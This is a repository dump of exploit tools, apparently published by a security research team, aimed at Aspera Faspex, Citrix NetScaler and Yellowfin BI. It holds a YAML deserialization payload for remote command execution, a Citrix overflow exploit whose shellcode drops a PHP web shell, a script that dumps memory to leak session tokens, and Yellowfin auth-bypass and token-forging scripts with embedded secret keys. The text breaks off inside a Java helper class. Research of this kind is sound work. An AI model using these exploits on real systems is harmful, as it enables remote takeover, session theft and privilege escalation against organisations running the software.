├── aspera-faspex ├── CVE-2022-47986.py └── README.md ├── citrix ├── CVE-2023-3519 │ ├── README.md │ ├── detect.py │ └── exploit.py └── CVE-2023-4966 │ ├── README.md │ └── exploit.py └── yellowfin-bi ├── AccPrivEsc_REST.py ├── AuthBypass_JSAPI.py ├── AuthBypass_STORY.py ├── Enc.java ├── FullChain.py └── GenSig.java /aspera-faspex/CVE-2022-47986.py: -------------------------------------------------------------------------------- 1 | import requests, sys 2 | 3 | url = "{}/aspera/faspex/package_relay/relay_package".format(sys.argv[1]) 4 | 5 | uuid = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec" 6 | 7 | exploit_yaml = """ 8 | --- 9 | - !ruby/object:Gem::Installer 10 | i: x 11 | - !ruby/object:Gem::SpecFetcher 12 | i: y 13 | - !ruby/object:Gem::Requirement 14 | requirements: 15 | !ruby/object:Gem::Package::TarReader 16 | io: &1 !ruby/object:Net::BufferedIO 17 | io: &1 !ruby/object:Gem::Package::TarReader::Entry 18 | read: 0 19 | header: "pew" 20 | debug_output: &1 !ruby/object:Net::WriteAdapter 21 | socket: &1 !ruby/object:PrettyPrint 22 | output: !ruby/object:Net::WriteAdapter 23 | socket: &1 !ruby/module "Kernel" 24 | method_id: :eval 25 | newline: "throw `CMD`" 26 | buffer: {} 27 | group_stack: 28 | - !ruby/object:PrettyPrint::Group 29 | break: true 30 | method_id: :breakable 31 | """.replace("CMD",sys.argv[2]) 32 | 33 | payload = { 34 | "package_file_list": [ 35 | "/" 36 | ], 37 | "external_emails": exploit_yaml, 38 | "package_name": "assetnote_pack", 39 | "package_note": "hello from assetnote team", 40 | "original_sender_name": "assetnote", 41 | "package_uuid": uuid, 42 | "metadata_human_readable": "Yes", 43 | "forward": "pew", 44 | "metadata_json": '{}', 45 | "delivery_uuid": uuid, 46 | "delivery_sender_name": "assetnote", 47 | "delivery_title": "TEST", 48 | "delivery_note": "TEST", 49 | "delete_after_download": True, 50 | "delete_after_download_condition": "IDK", 51 | 52 | } 53 | 54 | r = requests.post(url,json=payload,verify=False) 55 | print(r.text) 56 | -------------------------------------------------------------------------------- /aspera-faspex/README.md: -------------------------------------------------------------------------------- 1 | # Blog Post 2 | 3 | [https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/](https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/) 4 | -------------------------------------------------------------------------------- /citrix/CVE-2023-3519/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-3519 Detection Script 2 | ## by Assetnote Security Research Team 3 | 4 | Read more at our blog: [https://blog.assetnote.io/2023/07/21/citrix-CVE-2023-3519-analysis/](https://blog.assetnote.io/2023/07/21/citrix-CVE-2023-3519-analysis/) 5 | 6 | # Usage: 7 | 8 | ``` 9 | usage: detect.py [-h] [--hosts HOSTS] [--verbose] 10 | 11 | optional arguments: 12 | -h, --help show this help message and exit 13 | --hosts HOSTS File containing citrix hosts new line delimited including 14 | protocol (i.e. citrix.txt) 15 | --verbose Verbose mode (print all output including non-vulnerable 16 | hosts) 17 | ``` 18 | 19 | # Hosts file: 20 | 21 | ``` 22 | https://citrix.example.com 23 | https://citrix.example2.com 24 | ... 25 | ``` 26 | 27 | # CVE-2023-3519 Exploitation Script 28 | ## by Assetnote Security Research Team 29 | 30 | Read more at our blog: [http://blog.assetnote.io/2023/08/09/exploiting-citrix-netscaler-cve-2023-3519/](http://blog.assetnote.io/2023/08/09/exploiting-citrix-netscaler-cve-2023-3519/) 31 | 32 | # Usage: 33 | 34 | ``` 35 | usage: exploit.py [-h] [--target TARGET] [--cmd CMD] 36 | 37 | optional arguments: 38 | -h, --help show this help message and exit 39 | --target TARGET The Citrix ADC / Gateway target, excluding the protocol (e.g. 192.168.1.200) 40 | --cmd CMD The command to run after exploitation (e.g. uname -a) 41 | ``` 42 | -------------------------------------------------------------------------------- /citrix/CVE-2023-3519/detect.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import argparse 3 | import sys 4 | import urllib3 5 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 6 | 7 | parser = argparse.ArgumentParser() 8 | parser.add_argument("--hosts", help="File containing citrix hosts new line delimited including protocol (i.e. citrix.txt)") 9 | parser.add_argument("--verbose", help="Verbose mode (print all output including non-vulnerable hosts)", action="store_true") 10 | args = parser.parse_args() 11 | 12 | if args.hosts is None: 13 | print("Must provide a list of hosts (file name) new line delimited, including protocol.") 14 | """Hosts file must look like the following: 15 | http://example.com 16 | https://assetnote.io 17 | https://citrix.aaa.com 18 | """ 19 | sys.exit(0) 20 | 21 | saml_assertion = """PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0icGZ4NDFkOGVmMjItZTYxMi04YzUwLTk5NjAtMWIxNmYxNTc0MWIzIiBWZXJzaW9uPSIyLjAiIFByb3ZpZGVyTmFtZT0iU1AgdGVzdCIgRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIFByb3RvY29sQmluZGluZz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmJpbmRpbmdzOkhUVFAtUE9TVCIgQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSJodHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcyI+CiAgPHNhbWw6SXNzdWVyPkE8L3NhbWw6SXNzdWVyPgogIDxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPgogICAgPGRzOlNpZ25lZEluZm8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjcnNhLXNoYTEiLz4KICAgICAgPGRzOlJlZmVyZW5jZSBVUkk9IiNwZng0MWQ4ZWYyMi1lNjEyLThjNTAtOTk2MC0xYjE2ZjE1NzQxYjMiPgogICAgICAgIDxkczpUcmFuc2Zvcm1zPgogICAgICAgICAgPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8+CiAgICAgICAgICA8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgICAgPC9kczpUcmFuc2Zvcm1zPgogICAgICAgIDxkczpEaWdlc3RWYWx1ZT5BPC9kczpEaWdlc3RWYWx1ZT4KICAgICAgPC9kczpSZWZlcmVuY2U+CiAgICA8L2RzOlNpZ25lZEluZm8+CiAgICA8ZHM6U2lnbmF0dXJlVmFsdWU+QTwvZHM6U2lnbmF0dXJlVmFsdWU+CiAgPC9kczpTaWduYXR1cmU+CiAgPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KICA8c2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0IENvbXBhcmlzb249ImV4YWN0Ij4KICAgIDxzYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9zYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPgogIDwvc2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0Pgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4=""" 22 | 23 | def check_status(resp_text): 24 | state = "not_vulnerable" 25 | if "Matching policy not found while trying to process Assertion; Please contact your administrator" in resp_text: 26 | state = "saml_disabled" 27 | if "Unsupported mechanisms found in Assertion; Please contact your administrator" in resp_text: 28 | state = "patched" 29 | if "SAML Assertion verification failed; Please contact your administrator" in resp_text: 30 | state = "vulnerable" 31 | return state 32 | 33 | with open(args.hosts, "r") as host_list: 34 | for host in host_list: 35 | stripped_host = host.strip() 36 | x = requests.post(stripped_host + "/saml/login", data={"SAMLRequest": saml_assertion}, verify=False, timeout=10) # add proxies={'https':'http://localhost:8080'} to proxy to burp 37 | status = check_status(x.text) 38 | 39 | if args.verbose: 40 | print("Host: {} Status: {}".format(stripped_host, status)) 41 | elif status == "vulnerable": 42 | print("Host: {} Status: {}".format(stripped_host, status)) -------------------------------------------------------------------------------- /citrix/CVE-2023-3519/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import ssl 5 | import sys 6 | import requests 7 | import urllib.parse 8 | import urllib3 9 | import argparse 10 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 11 | 12 | parser = argparse.ArgumentParser() 13 | parser.add_argument('--target', help='The Citrix ADC / Gateway target, excluding the protocol (e.g. 192.168.1.200)') 14 | parser.add_argument('--cmd', help='The command to run after exploitation (e.g. uname -a)') 15 | args = parser.parse_args() 16 | 17 | if args.target is None: 18 | print('Target must be provided (e.g. --target 192.168.1.200)') 19 | sys.exit(0) 20 | 21 | if args.cmd is None: 22 | print('Command must be provided (e.g. --cmd "uname -a")') 23 | sys.exit(0) 24 | 25 | hostname = args.target 26 | command = args.cmd 27 | context = ssl.create_default_context() 28 | context.check_hostname = False 29 | context.verify_mode = ssl.CERT_NONE 30 | 31 | def tweaked_url_encode(payload): 32 | bytes_to_encode = b'\x00\x30\x90' 33 | encoded = bytearray(b'') 34 | for byte in payload: 35 | if byte in bytes_to_encode: 36 | encoded.extend('%{:02X}'.format(byte).encode('utf-8')) 37 | else: 38 | encoded.append(byte) 39 | return bytes(encoded) 40 | 41 | shellcode = b'' 42 | shellcode += b'/var/vpn/theme/x.php\x00' # 21 bytes 43 | shellcode += b'AAAAAAAAAAAAA' # 13 bytes 44 | shellcode += b'\x00' # 27 bytes 45 | 46 | # open syscall 47 | shellcode += b'\x48\x89\xe7' # mov rdi, rsp 48 | shellcode += b'\x48\x81\xef\xb0\x00\x00\x00' # sub rdi, 0xb0 49 | shellcode += b'\xbe\x01\x02\x00\x00' # mov esi, 0x201 50 | shellcode += b'\xba\xff\x01\x00\x00' # mov edx, 0x1ff 51 | shellcode += b'\xb8\x05\x00\x00\x00' # mov eax, 0x5 52 | shellcode += b'\x0f\x05' # syscall 53 | 54 | # write syscall 55 | shellcode += b'\x48\x89\xc7' # mov rdi, rax 56 | shellcode += b'\x48\x89\xe6' # mov rsi, rsp 57 | shellcode += b'\x48\x81\xee\x8e\x00\x00\x00' # sub rsi, 0x8e 58 | shellcode += b'\xba\x1a\x00\x00\x00' # mov edx, 0x1a 59 | shellcode += b'\xb8\x04\x00\x00\x00' # mov eax, 0x4 60 | shellcode += b'\x0f\x05' # syscall 61 | 62 | # close syscall 63 | shellcode += b'\xb8\x06\x00\x00\x00' # mov rax, 0x6 64 | shellcode += b'\x0f\x05' # syscall 65 | 66 | # cleanup 67 | shellcode += b'\x48\x83\xC4\x30' # add rsp, 0x30 68 | shellcode += b'\x5d' # pop rbp 69 | shellcode += b'\xc3' # ret 70 | 71 | shellcode_encoded = tweaked_url_encode(shellcode) 72 | 73 | return_address = b'\x6d\xc1\xff\xff\xff\x7f\x00\x00' 74 | return_address_encoded = tweaked_url_encode(return_address) 75 | 76 | padding = b'A' * (168 - len(shellcode)) 77 | payload = shellcode_encoded + padding + return_address_encoded 78 | 79 | request = b'' 80 | request += b'GET /gwtest/formssso?event=start&target=' 81 | request += payload 82 | request += f' HTTP/1.1\r\nHost: {hostname}\r\n\r\n'.encode('utf-8') 83 | 84 | with socket.create_connection((hostname, 443)) as sock: 85 | with context.wrap_socket(sock) as ssock: 86 | print('[+] Connected: ' + ssock.version()) 87 | ssock.send(request) 88 | print('[+] Sent payload') 89 | print(f'[+] Running "{command}"') 90 | r = requests.get(f'https://{hostname}/vpn/theme/x.php?0={command}', verify=False) 91 | print(f'[+] {r.text}') 92 | -------------------------------------------------------------------------------- /citrix/CVE-2023-4966/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-4966 Exploit Script 2 | 3 | ## by Assetnote Security Research Team 4 | 5 | Read more at our blog: [https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966](https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966) 6 | 7 | # Usage: 8 | 9 | ``` 10 | usage: exploit.py [-h] [--target TARGET] 11 | 12 | optional arguments: 13 | -h, --help show this help message and exit 14 | --target TARGET The Citrix ADC / Gateway target, excluding the protocol (e.g. 192.168.1.200) 15 | ``` 16 | -------------------------------------------------------------------------------- /citrix/CVE-2023-4966/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import requests 5 | import urllib3 6 | import argparse 7 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 8 | 9 | parser = argparse.ArgumentParser() 10 | parser.add_argument('--target', help='The Citrix ADC / Gateway target, excluding the protocol (e.g. 192.168.1.200)') 11 | args = parser.parse_args() 12 | 13 | if args.target is None: 14 | print('Target must be provided (e.g. --target 192.168.1.200)') 15 | sys.exit(0) 16 | 17 | hostname = args.target 18 | 19 | if __name__ == "__main__": 20 | headers = { 21 | "Host": "a"*24576 22 | } 23 | r = requests.get(f"https://{hostname}/oauth/idp/.well-known/openid-configuration", headers=headers, verify=False,timeout=10) 24 | if r.status_code == 200: 25 | print("--- Dumped Memory ---") 26 | print(r.text[131050:]) 27 | print("--- End ---") 28 | else: 29 | print("Could not dump memory") 30 | -------------------------------------------------------------------------------- /yellowfin-bi/AccPrivEsc_REST.py: -------------------------------------------------------------------------------- 1 | import jwt, json 2 | import requests, sys 3 | import time, datetime 4 | 5 | yf_base_url = sys.argv[1] 6 | email = sys.argv[2] 7 | password = sys.argv[3] 8 | UUID = sys.argv[4] 9 | 10 | key = """q0x3DBLMJyteqkbUIx+7NzotD1K46kvfj7TW7i2ID4lBFyB9wse3cRw0buRrfKjzEuw5VySDrDsG\neyAPUukScQ==""" 11 | 12 | def get_refresh_token(username,password): 13 | millis = int(round(time.time() * 1000)) 14 | 15 | headers = { 16 | "Authorization": f"YELLOWFIN ts={millis}, nonce=random", 17 | "Content-Type": "application/json", 18 | "Accept": "application/vnd.yellowfin.api-v1+json", 19 | } 20 | 21 | payload = json.dumps( 22 | { 23 | "userName": username, 24 | "password": password, 25 | "clientOrgRef": "default_org", 26 | } 27 | ) 28 | 29 | refresh_token_url = f"{yf_base_url}/api/refresh-tokens" 30 | 31 | r = requests.request("POST", url=refresh_token_url, headers=headers, data=payload) 32 | r_dict = json.loads(r.text) 33 | return r_dict["securityToken"] 34 | 35 | def get_access_token(refresh_token): 36 | ACCESS_TOKEN_URL = f"{yf_base_url}/api/access-tokens" 37 | 38 | millis = int(round(time.time() * 1000)) 39 | headers = { 40 | "Accept": "application/vnd.yellowfin.api-v1+json", 41 | "Authorization": f"YELLOWFIN ts={millis}, nonce=random, token={refresh_token}", 42 | "Content-Type": "application/json", 43 | } 44 | 45 | r = requests.post(url=ACCESS_TOKEN_URL, headers=headers) 46 | r_dict = json.loads(r.text) 47 | return r_dict["securityToken"] 48 | 49 | def get_roles(token): 50 | ROLES_URL = f"{yf_base_url}/api/roles" 51 | 52 | millis = int(round(time.time() * 1000)) 53 | headers = { 54 | "Accept": "application/vnd.yellowfin.api-v1+json", 55 | "Authorization": f"YELLOWFIN ts={millis}, nonce=random, token={token}", 56 | "Content-Type": "application/json", 57 | } 58 | 59 | r = requests.get(url=ROLES_URL, headers=headers) 60 | return r.text 61 | 62 | if __name__ == '__main__': 63 | testyRTok = get_refresh_token(email,password) 64 | testyATok = get_access_token(testyRTok) 65 | print("LOG: GOT TOKEN ONE") 66 | print(f"LOG: Roles For LOW PRIV USER: {get_roles(testyATok)}") 67 | testyATok = jwt.decode(testyATok,key,algorithms=["HS256"]) 68 | print("LOG: Forging New Token") 69 | testyATok["person"] = UUID 70 | testyATok["role"] = "YFADMIN" 71 | print(f"LOG: Attempting To Login As User ID: {UUID}") 72 | adminATok = jwt.encode(testyATok, key, algorithm="HS256") 73 | print(f"LOG: Roles For ADMIN: {get_roles(adminATok)}") -------------------------------------------------------------------------------- /yellowfin-bi/AuthBypass_JSAPI.py: -------------------------------------------------------------------------------- 1 | import requests, os, uuid 2 | url = os.sys.argv[1] 3 | 4 | s = requests.Session() 5 | s.get(url) 6 | 7 | def encrypt(txt): 8 | return os.popen("java Enc "+txt).read().split('\n')[0] 9 | 10 | def loginAs(uuid): 11 | cookies = { 12 | "EXTAPI-IPID":encrypt(uuid), 13 | "EXTAPI-REFID":encrypt("quickLogon") 14 | } 15 | data = { 16 | "api" : "auth", 17 | "callback":"pew", 18 | } 19 | r=s.post(url+"/JsAPI?version=3.0",data=data,cookies=cookies) 20 | 21 | def adminReq(): 22 | r =s.get(url+f"/MIEntry.i4;tab_token={uuid.uuid4()};m=1?REQUESTTOKEN=null") 23 | return r.text 24 | 25 | if __name__ == '__main__': 26 | for ID in range(0,1000): 27 | s = requests.Session() 28 | s.get(url) 29 | loginAs(str(ID)) 30 | x=adminReq() 31 | print(f"uuid: {ID}, l: {len(x)}") 32 | -------------------------------------------------------------------------------- /yellowfin-bi/AuthBypass_STORY.py: -------------------------------------------------------------------------------- 1 | import requests, sys, uuid 2 | 3 | url = sys.argv[1] 4 | 5 | ID = sys.argv[2] 6 | 7 | """ 8 | The Private Key 9 | 10 | -----BEGIN PRIVATE KEY----- 11 | MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCkrT8rnZrnjKYzruZG5eswBmR70+vsNpz2Q1N2wBwlUcptzz+5mQ4usamFS6DQpfKGhOhoaMtd+c+rwsFj/lkMeoKJ+cP1zxN0ED/lGcwSNE7GSpm/G3sdQHVBoVVTuALhFklQj+Vrr/ebiHKi6InAdWhHGH8yteqI9BzL7YjHrrL3oCoLWh+M8RokNOSe5/ID7/WRDfJ+TPAWS4Ba+A/lOxWhXJiclM7Masc0jXz0M3YtkfePuKo+/THuV2/UFC/WwwECf/0qs1fJFLYiOJVIFIxc1ZQuRRhzJOmb7gDmSsaX0vozMS8bJfFhf2mXYX9K+H4cioDK8ZonqxseTnndAgMBAAECggEBAI321MiS/CG1vOo9U0O3nkMun52omnBuvG4IqIFtKFZ75lk4G6Wy7ukOPCgvhJmbFjMljP3FqdyAKanXIcVEVhxN2Q99hJP6Srj58TteO/FNqsODOHvqAv66vNsxbE/aCJFnFxkelBd8AafRv5H1ihuim5z+31kmPuSGHfUn94y8CgmSrIkd9CWcbZElkFskGYdYUAI34TFcYNBkurvH55eFrlJa8qq/2i6Ym75JkONG9ahctscz5khp2PW+KtLl9CtQobZyAlmkVpfr+o+Jl94SisM2D4VWU3CSo2i/HKIlrfKYjYxyMnNSgUF9WSwpHsuTcJswpVyRmet+pguEC0ECgYEA2FxiDC96URd46noYlCyzcbYLiMPGucLf6laAA1ps3P57NLOLkldbXIIfl8Ya9GajLuYkADHkrZm0fyWEH4VaWATdnEz70Eym5H5NLJ4kbYWvhZnTTAURH0vNOQQyojcFD7By2+9n1Usu0vN0k7tokPI2+CSdHtOFXK+kUKc878kCgYEAwtjO96mRP7+NCHsuWbRd27xqmpdSbNya0oaYjaEK7N7p+Tva4S4PE3zgLS4QKDxB8vLZh7zlsmf31FyuJ+TgCSGKa/Q4Kpp32vRHCoT+Sm7f+r8N1TxqbMZr1ddmqut4t2tK6W+xwfeZbjbOGNmK2Oub4wtOSHNhlvjOzmgNS3UCgYEA0IbZiN0JiraQt4zNu6IJoQLPwxTNp6QGo5iS8KhqW+R5YqXZU0YWq+ZOBL3OpNd3V3BAKl/sAtUtfY3u9WJVXJfz7vzThkMaZwbD4sjYWyaJsL49Q/tuMTehp94/3tAgdKqfSRJIhO5dRruWE/yAH5MTH75KILfExTwTphhJRuECgYEAhQG9HqDY7vxSSMTVmhSesX4IA2lisb9RzH5mqt+Q9qsgaqsqOebYEcR/vzeffefMWQzf42HWJpgEPCncFI2PRYxo0lKO+L4jLQrtZ8frUmIncSJ0TeiE+aXlPL9ibTB6YjLSm1FMtYzQZsTwoVP3DSagbjdsg9aHeqhze8DZunUCgYBst5P8k/h2FWqBpq1+gununsPrCVwVSZG/DqKAlMO08Y/ikmDIB5sCtcMgDkky4rqf7dAcV0TeXki3hVQI0ri1WebFKFerKy4N/43+FMdTWo9o/umL+7ZZGmPbYYX97XtdLekRqWO3uUzsw6xCC9fWoCCZ6H2uVIFEMpuHWkYj/A== 12 | -----END PRIVATE KEY----- 13 | """ 14 | 15 | """IS query params storyUUID + ts in this case PEWPEW+XXD""" 16 | validSig = """FeHGWgaVoDHPbZYf0+I6BSAHBSacV/2MjbVtnaHLbnuW3cr0sLs2rwo1MWtZ1mtmNwjLLY1nXfZX+BL9FMwc4poix6WpEvQTGr0oxOmOQe82SF0/iJV8FRYNZPEJ8vVjuMh9c7zxo6A1zEqWRiTdWx5HFvF+saEIug6ujYIXx8jptzxMzkRn77FIx4McnPBLlfoodjkKXufrsK2JBOvqXjOsgJqv9SdZqcbm9LnQ4GolYGCHvsLZ9MTHFzIS37TNjRULVupdC92f+90Any6FvIYMsGiozp/c235+xPV68WNmLgLFsYyRR7RjN4oWq7yb+T5hIhlQnJr8CIej2eVq6w==""" 17 | 18 | if __name__ == '__main__': 19 | s = requests.Session() 20 | s.get(url) 21 | 22 | s.post( 23 | url+"/StoryBody.i4", 24 | data = { 25 | "storyUUID": "PEWPEW", 26 | "ts": "XXD", 27 | "s":validSig, 28 | "action":"WHATEVER", 29 | "ipPerson":ID, 30 | "ipOrg":"1" 31 | } 32 | ) 33 | 34 | print(f"Is Authenticated: {s.get(url+'/logonCheck.i4').status_code}") 35 | 36 | print(f"Authenticated JSESSIONID: {s.cookies.get('JSESSIONID')}") 37 | 38 | print(f"Licence: {s.get(url+f'/MIAdminLicenceAjax.i4;tab_token={uuid.uuid4()};m=1?REQUESTTOKEN=null').text}") -------------------------------------------------------------------------------- /yellowfin-bi/Enc.java: -------------------------------------------------------------------------------- 1 | import java.util.Arrays; 2 | import java.util.UUID; 3 | import java.security.spec.InvalidKeySpecException; 4 | import java.security.NoSuchAlgorithmException; 5 | import javax.crypto.spec.SecretKeySpec; 6 | import javax.crypto.spec.PBEKeySpec; 7 | import java.nio.BufferUnderflowException; 8 | import java.nio.ByteBuffer; 9 | import java.security.spec.AlgorithmParameterSpec; 10 | import javax.crypto.spec.GCMParameterSpec; 11 | import javax.crypto.SecretKey; 12 | import java.security.Key; 13 | import javax.crypto.Cipher; 14 | import java.security.spec.KeySpec; 15 | import javax.crypto.spec.DESedeKeySpec; 16 | import javax.crypto.SecretKeyFactory; 17 | import java.io.IOException; 18 | import java.security.GeneralSecurityException; 19 | import java.nio.charset.StandardCharsets; 20 | import java.io.FilterOutputStream; 21 | import java.io.FilterInputStream; 22 | import java.io.ObjectInputStream; 23 | import java.io.ByteArrayInputStream; 24 | import java.io.BufferedOutputStream; 25 | import java.io.FileOutputStream; 26 | import java.io.InputStream; 27 | import java.io.BufferedInputStream; 28 | import java.io.FileInputStream; 29 | import java.io.File; 30 | import java.io.IOException; 31 | import java.io.ObjectOutputStream; 32 | import java.io.OutputStream; 33 | import java.io.ByteArrayOutputStream; 34 | import java.io.Serializable; 35 | 36 | 37 | class Enc { 38 | public static void main(String[] args) { 39 | String txt = args[0]; 40 | CryptoHelperSimple cc = new CryptoHelperSimple(null,txt); 41 | System.out.println(cc.encryptToString()); 42 | } 43 | } 44 | 45 | 46 | 47 | 48 | class CryptoHelperSimple 49 | { 50 | private static final String F = "AES/GCM/NoPadding"; 51 | private static final int A = 128; 52 | private static final int D = 12; 53 | private static final int E = 256; 54 | private String C; 55 | private String B; 56 | private static final String G = "$2a$10$EoSdh23ee1C9wtJOY5cv6uHrc0ilaqynX2nrR/hZyjuiE8YWeKVCa"; 57 | 58 | public CryptoHelperSimple(final String c, final String b) { 59 | if (c == null) { 60 | this.C = "$2a$10$EoSdh23ee1C9wtJOY5cv6uHrc0ilaqynX2nrR/hZyjuiE8YWeKVCa"; 61 | } 62 | else { 63 | this.C = c; 64 | } 65 | this.B = b; 66 | } 67 | 68 | public String encryptToString() { 69 | try { 70 | return Base64.encodeBytes(this.encryptAes(this.B.getBytes(StandardCharsets.UTF_8), this.getAesKey(this.C.toCharArray()))); 71 | } 72 | catch (GeneralSecurityException | IOException ex) { 73 | System.out.println("BAD"); 74 | } 75 | return ""; 76 | } 77 | 78 | public String decryptFromString() { 79 | try { 80 | return this.decryptAes(Base64.decode(this.B), this.getAesKey(this.C.toCharArray())); 81 | } 82 | catch (GeneralSecurityException | IOException ex) { 83 | try { 84 | final SecretKey generateSecret = SecretKeyFactory.getInstance("DESede").generateSecret(new DESedeKeySpec(this.C.getBytes("UTF-8"))); 85 | final Cipher instance = Cipher.getInstance("DESede"); 86 | instance.init(2, generateSecret); 87 | return new String(instance.doFinal(Base64.decode(this.B)), "UTF-8"); 88 | } 89 | catch (IOException | GeneralSecurityException ex2) { 90 | final Object cause; 91 | System.out.println("BAD"); 92 | } 93 | } 94 | return ""; 95 | } 96 | 97 | public byte[] encryptAes(final byte[] input, final SecretKey key) throws IOException, GeneralSecurityException { 98 | final byte[] aesIv = this.getAesIv(); 99 | final Cipher instance = Cipher.getInstance("AES/GCM/NoPadding"); 100 | instance.init(1, key, new GCMParameterSpec(128, aesIv)); 101 | final byte[] doFinal = instance.doFinal(input); 102 | return ByteBuffer.allocate(aesIv.length + doFinal.length).put(aesIv).put(doFinal).array(); 103 | } 104 | 105 | public String decryptAes(final byte[] array, final SecretKey key) throws IOException, GeneralSecurityException { 106 | final ByteBuffer wrap = ByteBuffer.wrap(array); 107 | final byte[] aesIv = this.getAesIv(); 108 | try { 109 | wrap.get(aesIv); 110 | } 111 | catch (BufferUnderflowException ex) { 112 | throw new IOException("Buffer Underflow"); 113 | } 114 | final byte[] array2 = new byte[wrap.remaining()]; 115 | try { 116 | wrap.get(array2); 117 | } 118 | catch (BufferUnderflowException ex2) { 119 | throw new IOException("Buffer Underflow"); 120 | } 121 | final Cipher instance = Cipher.getInstance("AES/GCM/NoPadding"); 122 | instance.init(2, key, new GCMParameterSpec(128, aesIv)); 123 | return new String(instance.doFinal(array2), StandardCharsets.UTF_8); 124 | } 125 | 126 | public SecretKey getAesKey(final char[] password) throws NoSuchAlgorithmException, InvalidKeySpecException { 127 | return new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(password, this.getAesIv(), 65536, 256)).getEncoded(), "AES"); 128 | } 129 | 130 | public byte[] getAesIv() { 131 | return Arrays.copyOf(UUID.nameUUIDFromBytes("YellowfinReporting".getBytes(StandardCharsets.UTF_8)).toString().getBytes(StandardCharsets.UTF_8), 12); 132 | } 133 | } 134 | 135 | class Base64 136 | { 137 | public static final 